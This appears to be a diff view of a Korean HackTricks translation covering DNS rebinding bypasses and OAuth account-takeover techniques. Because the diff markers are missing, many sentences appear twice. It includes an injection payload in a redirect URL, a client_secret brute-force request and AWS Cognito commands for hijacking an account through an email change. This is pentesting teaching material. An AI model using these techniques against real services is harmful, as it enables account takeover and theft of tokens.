이 기술은 도메인에 대해 여러 IP 주소가 제공될 때 브라우저의 동작을 활용합니다. 응답을 전략적으로 제어하고 브라우저의 IP 주소 선택을 조작함으로써 공격자는 SOP를 악용하고 피해자로부터 정보를 접근할 수 있습니다.
{% hint style="warning" %}
로컬호스트에 접근하려면 Windows에서는 **127.0.0.1**을 리바인딩하고 Linux에서는 **0.0.0.0**을 시도해야 합니다.\
godaddy나 cloudflare와 같은 제공업체는 0.0.0.0 IP를 사용할 수 없게 했지만, AWS route53은 "0.0.0.0" 중 하나인 2개의 IP로 A 레코드를 생성할 수 있게 해주었습니다.
godaddy나 cloudflare와 같은 제공업체는 0.0.0.0 IP 사용을 허용하지 않았지만, AWS route53은 2개의 IP 중 하나가 "0.0.0.0"인 A 레코드를 생성하는 것을 허용했습니다.
<img src="../.gitbook/assets/image (140).png" alt="" data-size="original">
{% endhint %}
더 많은 정보는 [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)에서 확인할 수 있습니다.
자세한 정보는 [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)에서 확인할 수 있습니다.
### Other Common Bypasses
* **내부 IP가 허용되지 않는 경우**, **0.0.0.0을 금지하는 것을 잊었을 수 있습니다** (Linux 및 Mac에서 작동)
* **내부 IP가 허용되지 않는 경우**, **localhost**에 대한 **CNAME**으로 응답합니다 (Linux 및 Mac에서 작동)
* **내부 IP가 DNS 응답으로 허용되지 않는 경우**, **www.corporate.internal**과 같은 내부 서비스에 대한 **CNAME**으로 응답할 수 있습니다.
* **내부 IP가 허용되지 않는 경우**, **localhost에 대한 CNAME으로 응답합니다** (Linux 및 Mac에서 작동)
* **내부 IP가 DNS 응답으로 허용되지 않는 경우**, **www.corporate.internal과 같은 내부 서비스에 대한 CNAME으로 응답할 수 있습니다**.
### DNS Rebidding Weaponized
이전 우회 기술 및 다음 도구 사용 방법에 대한 더 많은 정보는 [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ)에서 확인할 수 있습니다.
이전 우회 기술 및 다음 도구 사용 방법에 대한 자세한 정보는 [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ)에서 확인할 수 있습니다.
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity)은 [DNS 리바인딩](https://en.wikipedia.org/wiki/DNS\_rebinding) 공격을 수행하는 도구입니다. 이는 공격 서버 DNS 이름의 IP 주소를 대상 머신의 IP 주소로 리바인딩하고, 대상 머신의 취약한 소프트웨어를 악용하기 위한 공격 페이로드를 제공하는 데 필요한 구성 요소를 포함합니다.
@ -362,7 +400,7 @@ godaddy나 cloudflare와 같은 제공업체는 0.0.0.0 IP를 사용할 수 없
## **Tools**
**CORS 정책의 잘못된 구성 가능성을 탐색합니다.**
**CORS 정책의 잘못된 구성 가능성을 Fuzz**
* [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8)
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
@ -388,15 +426,15 @@ godaddy나 cloudflare와 같은 제공업체는 0.0.0.0 IP를 사용할 수 없
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS 해킹을 배우고 연습하세요:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹을 배우고 연습하세요: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS 해킹을 배우고 연습하세요:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹을 배우고 연습하세요: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop)을 확인하세요!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나, **Twitter**에서 **@hacktricks\_live**를 팔로우하세요**.**
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
</details>

80
pentesting-web/oauth-to-account-takeover.md
View file

@ -1,8 +1,8 @@
# OAuth to Account takeover
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -23,23 +23,23 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
OAuth는 다양한 버전을 제공하며, 기본적인 통찰력은 [OAuth 2.0 documentation](https://oauth.net/2/)에서 확인할 수 있습니다. 이 논의는 주로 널리 사용되는 [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/)에 중점을 두며, **애플리케이션이 다른 애플리케이션의 사용자 계정에 접근하거나 작업을 수행할 수 있도록 하는 인증 프레임워크**를 제공합니다 (인증 서버).
가상의 웹사이트 _**https://example.com**_을 고려해 보십시오. 이 사이트는 **모든 소셜 미디어 게시물을 보여주기 위해 설계되었습니다**, 개인적인 게시물도 포함됩니다. 이를 위해 OAuth 2.0이 사용됩니다. _https://example.com_은 **소셜 미디어 게시물에 접근할 수 있는 권한**을 요청합니다. 따라서 _https://socialmedia.com_에서 **요청된 권한과 요청하는 개발자**를 설명하는 동의 화면이 나타납니다. 귀하가 승인하면, _https://example.com_은 **귀하를 대신하여 게시물에 접근할 수 있는 능력을 갖게 됩니다**.
가상의 웹사이트 _**https://example.com**_을 고려해 보십시오. 이 사이트는 **모든 소셜 미디어 게시물을 보여주기 위해 설계되었습니다**, 개인적인 게시물도 포함됩니다. 이를 위해 OAuth 2.0이 사용됩니다. _https://example.com_은 **소셜 미디어 게시물에 접근할 수 있는 권한**을 요청합니다. 따라서 _https://socialmedia.com_에서 **요청된 권한과 요청하는 개발자**를 설명하는 동의 화면이 나타납니다. 귀하가 승인하면, _https://example.com_은 **귀하를 대신하여 게시물에 접근할 수 있는 능력을 얻게 됩니다**.
OAuth 2.0 프레임워크 내에서 다음 구성 요소를 이해하는 것이 중요합니다:
* **resource owner**: 귀하, 즉 **사용자/엔티티**가 소셜 미디어 계정 게시물과 같은 리소스에 대한 접근을 승인합니다.
* **resource server**: **`access token`을 확보한 후 인증된 요청을 관리하는 서버**, 예: **https://socialmedia.com**.
* **client application**: **`resource owner`로부터 권한을 요청하는 애플리케이션**, 예: **https://example.com**.
* **authorization server**: **`resource owner`의 성공적인 인증 후 `client application`에 `access tokens`를 발급하는 서버**, 예: **https://socialmedia.com**.
* **resource server**: **리소스 소유자를 대신하여 `access token`을 확보한 후 인증된 요청을 관리하는 서버**, 예: **https://socialmedia.com**.
* **client application**: **리소스 소유자로부터 권한을 요청하는 애플리케이션**, 예: **https://example.com**.
* **authorization server**: **리소스 소유자의 성공적인 인증 후 `client application`에 `access tokens`를 발급하는 서버**, 예: **https://socialmedia.com**.
* **client\_id**: 애플리케이션의 공개 고유 식별자.
* **client\_secret:** 애플리케이션과 인증 서버만 알고 있는 비밀 키로, `access_tokens`를 생성하는 데 사용됩니다.
* **response\_type**: **요청된 토큰의 유형**을 지정하는 값, 예: `code`.
* **scope**: `client application`이 `resource owner`로부터 요청하는 **접근 수준**.
* **redirect\_uri**: **사용자가 승인 후 리디렉션되는 URL**. 일반적으로 사전 등록된 리디렉션 URL과 일치해야 합니다.
* **state**: **사용자가 인증 서버로 리디렉션되는 동안 데이터를 유지하기 위한 매개변수**. 고유성이 **CSRF 보호 메커니즘**으로서 중요합니다.
* **redirect\_uri**: **사용자가 인증 후 리디렉션되는 URL**. 일반적으로 사전 등록된 리디렉션 URL과 일치해야 합니다.
* **state**: **사용자가 인증 서버로 리디렉션되는 동안 데이터를 유지하기 위한 매개변수**. 고유성이 **CSRF 보호 메커니즘**으로 작용하는 데 중요합니다.
* **grant\_type**: **부여 유형과 반환될 토큰의 유형을 나타내는 매개변수**.
* **code**: `authorization server`에서 발급된 인증 코드로, `client application`이 `access_token`을 얻기 위해 `client_id` 및 `client_secret`과 함께 사용합니다.
* **access\_token**: **`resource owner`를 대신하여 API 요청에 사용하는 토큰**.
* **code**: `authorization server`에서 발급된 인증 코드로, `client application`이 `access_token`을 획득하는 데 `client_id` 및 `client_secret`과 함께 사용됩니다.
* **access\_token**: **리소스 소유자를 대신하여 API 요청에 사용하는 토큰**.
* **refresh\_token**: 애플리케이션이 **사용자에게 다시 요청하지 않고 새로운 `access_token`을 얻을 수 있게 해줍니다**.
### Flow
@ -47,7 +47,7 @@ OAuth 2.0 프레임워크 내에서 다음 구성 요소를 이해하는 것이
**실제 OAuth 흐름**은 다음과 같이 진행됩니다:
1. 귀하는 [https://example.com](https://example.com)으로 이동하여 “소셜 미디어와 통합” 버튼을 선택합니다.
2. 사이트는 귀하의 게시물에 대한 접근을 허용하기 위해 [https://socialmedia.com](https://socialmedia.com)으로 요청을 보냅니다. 요청은 다음과 같이 구성됩니다:
2. 사이트는 귀하의 게시물에 접근하기 위해 https://example.com의 애플리케이션이 귀하의 승인을 요청하는 요청을 [https://socialmedia.com](https://socialmedia.com)으로 보냅니다. 요청은 다음과 같이 구성됩니다:
```
https://socialmedia.com/auth
?response_type=code
@ -67,17 +67,17 @@ POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
```
6. 마지막으로, https://example.com이 귀하의 `access_token`을 사용하여 소셜 미디어에 API 호출을 하여 접근합니다.
6. 마지막으로, 프로세스는 https://example.com이 귀하의 `access_token`을 사용하여 소셜 미디어에 API 호출을 하여 접근하는 것으로 마무리됩니다.
## 취약점 <a href="#id-323a" id="id-323a"></a>
### Open redirect\_uri <a href="#cc36" id="cc36"></a>
`redirect_uri`는 OAuth 및 OpenID 구현에서 보안에 매우 중요하며, 이는 민감한 데이터(예: 인증 코드)가 인증 후 어디로 전송되는지를 결정합니다. 잘못 구성된 경우, 공격자가 이러한 요청을 악성 서버로 리디렉션할 수 있어 계정 탈취를 가능하게 합니다.
`redirect_uri`는 OAuth 및 OpenID 구현에서 보안에 매우 중요하며, 이는 민감한 데이터(예: 인증 코드)가 인증 후 어디로 전송되는지를 지시합니다. 잘못 구성된 경우, 공격자가 이러한 요청을 악성 서버로 리디렉션할 수 있어 계정 탈취를 가능하게 합니다.
악용 기술은 인증 서버의 검증 논리에 따라 다릅니다. 이는 엄격한 경로 일치에서 지정된 도메인 또는 하위 디렉토리 내의 모든 URL을 허용하는 것까지 다양합니다. 일반적인 악용 방법에는 오픈 리디렉션, 경로 탐색, 약한 정규 표현식 악용, 토큰 도용을 위한 HTML 주입이 포함됩니다.
악용 기술은 인증 서버의 검증 논리에 따라 다릅니다. 이는 엄격한 경로 일치에서 지정된 도메인 또는 하위 디렉토리 내의 모든 URL을 수용하는 것까지 다양합니다. 일반적인 악용 방법에는 오픈 리디렉션, 경로 탐색, 약한 정규 표현식 악용, 토큰 탈취를 위한 HTML 주입이 포함됩니다.
`redirect_uri` 외에도 `client_uri`, `policy_uri`, `tos_uri`, `initiate_login_uri`와 같은 다른 OAuth 및 OpenID 매개변수도 리디렉션 공격에 취약합니다. 이러한 매개변수는 선택 사항이며 서버마다 지원이 다릅니다.
`redirect_uri` 외에도 `client_uri`, `policy_uri`, `tos_uri`, `initiate_login_uri`와 같은 다른 OAuth 및 OpenID 매개변수도 리디렉션 공격에 취약합니다. 이러한 매개변수는 선택 사항이며, 서버마다 지원 여부가 다릅니다.
OpenID 서버를 목표로 하는 경우, 발견 엔드포인트(`**.well-known/openid-configuration**`)는 종종 `registration_endpoint`, `request_uri_parameter_supported`, 및 "`require_request_uri_registration`"과 같은 유용한 구성 세부정보를 나열합니다. 이러한 세부정보는 등록 엔드포인트 및 서버의 기타 구성 세부정보를 식별하는 데 도움이 될 수 있습니다.
@ -87,7 +87,7 @@ OpenID 서버를 목표로 하는 경우, 발견 엔드포인트(`**.well-known/
```
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
```
### CSRF - 상태 매개변수의 부적절한 처리 <a href="#bda5" id="bda5"></a>
### CSRF - Improper handling of state parameter <a href="#bda5" id="bda5"></a>
OAuth 구현에서 **`state` 매개변수**의 오용 또는 누락은 **교차 사이트 요청 위조(CSRF)** 공격의 위험을 크게 증가시킬 수 있습니다. 이 취약점은 `state` 매개변수가 **사용되지 않거나, 정적 값으로 사용되거나, 제대로 검증되지 않을 때** 발생하여 공격자가 CSRF 보호를 우회할 수 있게 합니다.
@ -97,21 +97,21 @@ OAuth 구현에서 **`state` 매개변수**의 오용 또는 누락은 **교차
**`state` 매개변수**의 적절한 처리 및 검증은 CSRF로부터 보호하고 OAuth 흐름을 안전하게 유지하는 데 중요합니다.
### 계정 탈취 전 <a href="#ebe4" id="ebe4"></a>
### Pre Account Takeover <a href="#ebe4" id="ebe4"></a>
1. **계정 생성 시 이메일 검증 없이**: 공격자는 피해자의 이메일을 사용하여 미리 계정을 생성할 수 있습니다. 피해자가 나중에 로그인 시 제3자 서비스를 사용하면, 애플리케이션이 이 제3자 계정을 공격자가 미리 생성한 계정에 우연히 연결할 수 있어 무단 접근이 발생할 수 있습니다.
1. **계정 생성 시 이메일 검증 없이**: 공격자는 피해자의 이메일을 사용하여 미리 계정을 생성할 수 있습니다. 피해자가 나중에 제3자 서비스를 사용하여 로그인하면, 애플리케이션이 이 제3자 계정을 공격자가 미리 생성한 계정에 우연히 연결할 수 있어 무단 접근이 발생할 수 있습니다.
2. **느슨한 OAuth 이메일 검증 악용**: 공격자는 이메일을 검증하지 않는 OAuth 서비스를 악용하여 자신의 서비스에 등록한 후 계정 이메일을 피해자의 이메일로 변경할 수 있습니다. 이 방법은 첫 번째 시나리오와 유사하게 무단 계정 접근의 위험을 초래하지만, 다른 공격 벡터를 통해 이루어집니다.
### 비밀 정보의 노출 <a href="#e177" id="e177"></a>
### Disclosure of Secrets <a href="#e177" id="e177"></a>
비밀 OAuth 매개변수를 식별하고 보호하는 것은 중요합니다. **`client_id`**는 안전하게 공개할 수 있지만, **`client_secret`**을 노출하는 것은 상당한 위험을 초래합니다. `client_secret`이 유출되면 공격자는 애플리케이션의 신원과 신뢰를 악용하여 **사용자 `access_tokens`** 및 개인 정보를 **탈취**할 수 있습니다.
일반적인 취약점은 애플리케이션이 권한 부여 `code`를 `access_token`으로 교환하는 과정을 클라이언트 측에서 잘못 처리할 때 발생합니다. 이 실수는 `client_secret`의 노출로 이어져, 공격자가 애플리케이션의 가장으로 `access_tokens`를 생성할 수 있게 합니다. 또한, 사회 공학을 통해 공격자는 OAuth 권한 부여에 추가 범위를 추가하여 권한을 상승시킬 수 있으며, 애플리케이션의 신뢰된 상태를 더욱 악용할 수 있습니다.
일반적인 취약점은 애플리케이션이 권한 부여 `code`를 `access_token`으로 교환하는 과정을 클라이언트 측에서 처리하는 실수로 발생합니다. 이 실수는 `client_secret`의 노출로 이어져, 공격자가 애플리케이션의 가장으로 `access_tokens`를 생성할 수 있게 합니다. 또한, 사회 공학을 통해 공격자는 OAuth 권한 부여에 추가 범위를 추가하여 권한을 상승시킬 수 있으며, 애플리케이션의 신뢰된 상태를 더욱 악용할 수 있습니다.
### 클라이언트 비밀 무차별 대입
### Client Secret Bruteforce
서비스 제공자의 클라이언트 비밀을 **무차별 대입**하여 계정을 탈취하려고 시도할 수 있습니다.\
무차별 대입 요청은 다음과 유사할 수 있습니다:
You can try to **bruteforce the client\_secret** of a service provider with the identity provider in order to be try to steal accounts.\
The request to BF may look similar to:
```
POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
@ -123,19 +123,19 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
```
### Referer Header leaking Code + State
클라이언트가 **코드와 상태**를 가지고 있을 때, 만약 그것이 **Referer 헤더에 반영되어** 다른 페이지로 이동할 때 노출된다면, 취약합니다.
클라이언트가 **코드와 상태**를 가지고 있을 때, 다른 페이지로 이동할 때 **Referer 헤더에 반영된다면** 취약합니다.
### Access Token Stored in Browser History
**브라우저 기록으로 가서 액세스 토큰이 저장되어 있는지 확인하세요.**
**브라우저 기록으로 가서 액세스 토큰이 저장되어 있는지 확인하세요**.
### Everlasting Authorization Code
**인증 코드는 공격자가 훔치고 사용할 수 있는 시간 창을 제한하기 위해 일정 시간만 존재해야 합니다.**
**인증 코드는 공격자가 훔치고 사용할 수 있는 시간 창을 제한하기 위해 잠시만 존재해야 합니다**.
### Authorization/Refresh Token not bound to client
**인증 코드를 얻고 다른 클라이언트와 함께 사용할 수 있다면 다른 계정을 탈취할 수 있습니다.**
**인증 코드를 얻고 다른 클라이언트와 함께 사용할 수 있다면 다른 계정을 탈취할 수 있습니다**.
### Happy Paths, XSS, Iframes & Post Messages to leak code & state values
@ -143,7 +143,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
### AWS Cognito <a href="#bda5" id="bda5"></a>
이 버그 바운티 보고서에서: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) **AWS Cognito**가 사용자에게 반환하는 **토큰**이 **사용자 데이터를 덮어쓸 수 있는 충분한 권한을 가질 수 있습니다.** 따라서, **다른 사용자 이메일로 사용자 이메일을 변경할 수 있다면**, 다른 계정을 **탈취할 수 있을지도 모릅니다.**
이 버그 바운티 보고서에서: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) **AWS Cognito**가 사용자에게 반환하는 **토큰**이 **사용자 데이터를 덮어쓸 수 있는 충분한 권한을 가질 수 있습니다**. 따라서, **다른 사용자 이메일로 사용자 이메일을 변경할 수 있다면**, 다른 계정을 **탈취할 수 있을지도 모릅니다**.
```bash
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
@ -168,7 +168,7 @@ For more detailed info about how to abuse AWS cognito check:
[**이 글에서 언급된 바와 같이**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), **토큰**(코드가 아닌)을 수신할 것으로 예상되는 OAuth 흐름은 토큰이 앱에 속하는지 확인하지 않으면 취약할 수 있습니다.
이는 **공격자**가 자신의 애플리케이션에서 **OAuth를 지원하고 Facebook으로 로그인**하는 **애플리케이션**을 만들 수 있기 때문입니다. 그런 다음, 피해자가 **공격자의 애플리케이션**에서 Facebook으로 로그인하면, 공격자는 **자신의 애플리케이션에 제공된 사용자의 OAuth 토큰을 얻고, 이를 사용하여 피해자의 OAuth 애플리케이션에 피해자의 사용자 토큰으로 로그인할 수 있습니다**.
이는 **공격자**가 자신의 애플리케이션에서 **OAuth를 지원하고 Facebook으로 로그인**하는 **애플리케이션**을 만들 수 있기 때문입니다. 그런 다음, 피해자가 **공격자의 애플리케이션**에서 Facebook으로 로그인하면, 공격자는 **자신의 애플리케이션에 제공된 사용자의 OAuth 토큰을 얻고 이를 사용하여 피해자의 OAuth 애플리케이션에 피해자의 사용자 토큰으로 로그인할 수 있습니다**.
{% hint style="danger" %}
따라서 공격자가 사용자가 자신의 OAuth 애플리케이션에 접근하도록 관리하면, 토큰을 기대하고 해당 토큰이 자신의 앱 ID에 부여되었는지 확인하지 않는 애플리케이션에서 피해자의 계정을 탈취할 수 있습니다.
@ -182,7 +182,7 @@ For more detailed info about how to abuse AWS cognito check:
### Prompt Interaction Bypass <a href="#bda5" id="bda5"></a>
[**이 비디오에서 설명된 바와 같이**](https://www.youtube.com/watch?v=n9x7\_J\_a\_7Q), 일부 OAuth 구현에서는 **`prompt`** GET 매개변수를 None (**`&prompt=none`**)으로 지정하여 사용자가 이미 플랫폼에 로그인한 경우 웹에서 주어진 접근을 확인하라는 요청을 방지할 수 있습니다.
[**이 비디오에서 설명된 바와 같이**](https://www.youtube.com/watch?v=n9x7\_J\_a\_7Q), 일부 OAuth 구현에서는 **`prompt`** GET 매개변수를 None(**`&prompt=none`**)으로 지정하여 사용자가 이미 플랫폼에 로그인한 경우 웹에서 주어진 접근을 확인하라는 요청을 방지할 수 있습니다.
### response\_mode
@ -193,6 +193,10 @@ For more detailed info about how to abuse AWS cognito check:
* `response_mode=form_post` -> 코드는 `code`라는 입력을 가진 POST 양식 내에 제공됩니다.
* `response_mode=web_message` -> 코드는 포스트 메시지로 전송됩니다: `window.opener.postMessage({"code": "asdasdasd...`
### OAuth ROPC flow - 2 FA bypass <a href="#b440" id="b440"></a>
[**이 블로그 게시물에 따르면**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), 이는 **사용자 이름**과 **비밀번호**를 통해 OAuth에 로그인할 수 있는 OAuth 흐름입니다. 이 간단한 흐름에서 모든 작업에 대한 접근 권한이 있는 **토큰**이 반환되면, 해당 토큰을 사용하여 2FA를 우회할 수 있습니다.
### SSRFs parameters <a href="#bda5" id="bda5"></a>
[**이 연구를 확인하세요**](https://portswigger.net/research/hidden-oauth-attack-vectors) **이 기술에 대한 추가 세부정보를 위해.**
@ -203,20 +207,20 @@ OAuth의 동적 클라이언트 등록은 보안 취약점에 대한 덜 명백
* **동적 클라이언트 등록**은 종종 `/register`에 매핑되며 `client_name`, `client_secret`, `redirect_uris`, 로고 또는 JSON 웹 키 세트(JWKs)에 대한 URL과 같은 세부정보를 POST 요청을 통해 수락합니다.
* 이 기능은 **RFC7591** 및 **OpenID Connect Registration 1.0**에 명시된 사양을 준수하며, SSRF에 취약할 수 있는 매개변수를 포함합니다.
* 등록 프로세스는 여러 가지 방법으로 SSRF에 서버를 노출할 수 있습니다:
* 등록 프로세스는 여러 가지 방법으로 SSRF에 서버를 노출시킬 수 있습니다:
* **`logo_uri`**: 서버가 가져올 수 있는 클라이언트 애플리케이션의 로고 URL로, SSRF를 유발하거나 URL이 잘못 처리될 경우 XSS로 이어질 수 있습니다.
* **`jwks_uri`**: 클라이언트의 JWK 문서에 대한 URL로, 악의적으로 조작된 경우 서버가 공격자가 제어하는 서버로 아웃바운드 요청을 하게 만들 수 있습니다.
* **`sector_identifier_uri`**: 서버가 가져올 수 있는 `redirect_uris`의 JSON 배열을 참조하여 SSRF 기회를 생성합니다.
* **`request_uris`**: 클라이언트에 대한 허용된 요청 URI를 나열하며, 서버가 권한 부여 프로세스 시작 시 이러한 URI를 가져오면 악용될 수 있습니다.
* **`jwks_uri`**: 클라이언트의 JWK 문서에 대한 URL로, 악의적으로 작성된 경우 서버가 공격자가 제어하는 서버에 아웃바운드 요청을 하게 만들 수 있습니다.
* **`sector_identifier_uri`**: 서버가 가져올 수 있는 `redirect_uris`의 JSON 배열을 참조하여 SSRF 기회를 생성할 수 있습니다.
* **`request_uris`**: 클라이언트에 대한 허용된 요청 URI를 나열하며, 서버가 인증 프로세스 시작 시 이러한 URI를 가져오면 악용될 수 있습니다.
**악용 전략:**
* SSRF는 `logo_uri`, `jwks_uri` 또는 `sector_identifier_uri`와 같은 매개변수에 악의적인 URL로 새 클라이언트를 등록하여 유발할 수 있습니다.
* `request_uris`를 통한 직접적인 악용은 화이트리스트 제어로 완화될 수 있지만, 사전 등록된 공격자가 제어하는 `request_uri`를 제공하면 권한 부여 단계에서 SSRF를 촉진할 수 있습니다.
* `request_uris`를 통한 직접적인 악용은 화이트리스트 제어로 완화될 수 있지만, 사전 등록된 공격자가 제어하는 `request_uri`를 제공하면 인증 단계에서 SSRF를 촉진할 수 있습니다.
## OAuth providers Race Conditions
테스트 중인 플랫폼이 OAuth 제공자인 경우 [**가능한 경쟁 조건을 테스트하려면 이 글을 읽으세요**](race-condition.md).
테스트 중인 플랫폼이 OAuth 제공자인 경우 [**가능한 경합 조건을 테스트하려면 이 글을 읽으세요**](race-condition.md).
## References
@ -228,8 +232,8 @@ OAuth의 동적 클라이언트 등록은 보안 취약점에 대한 덜 명백
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>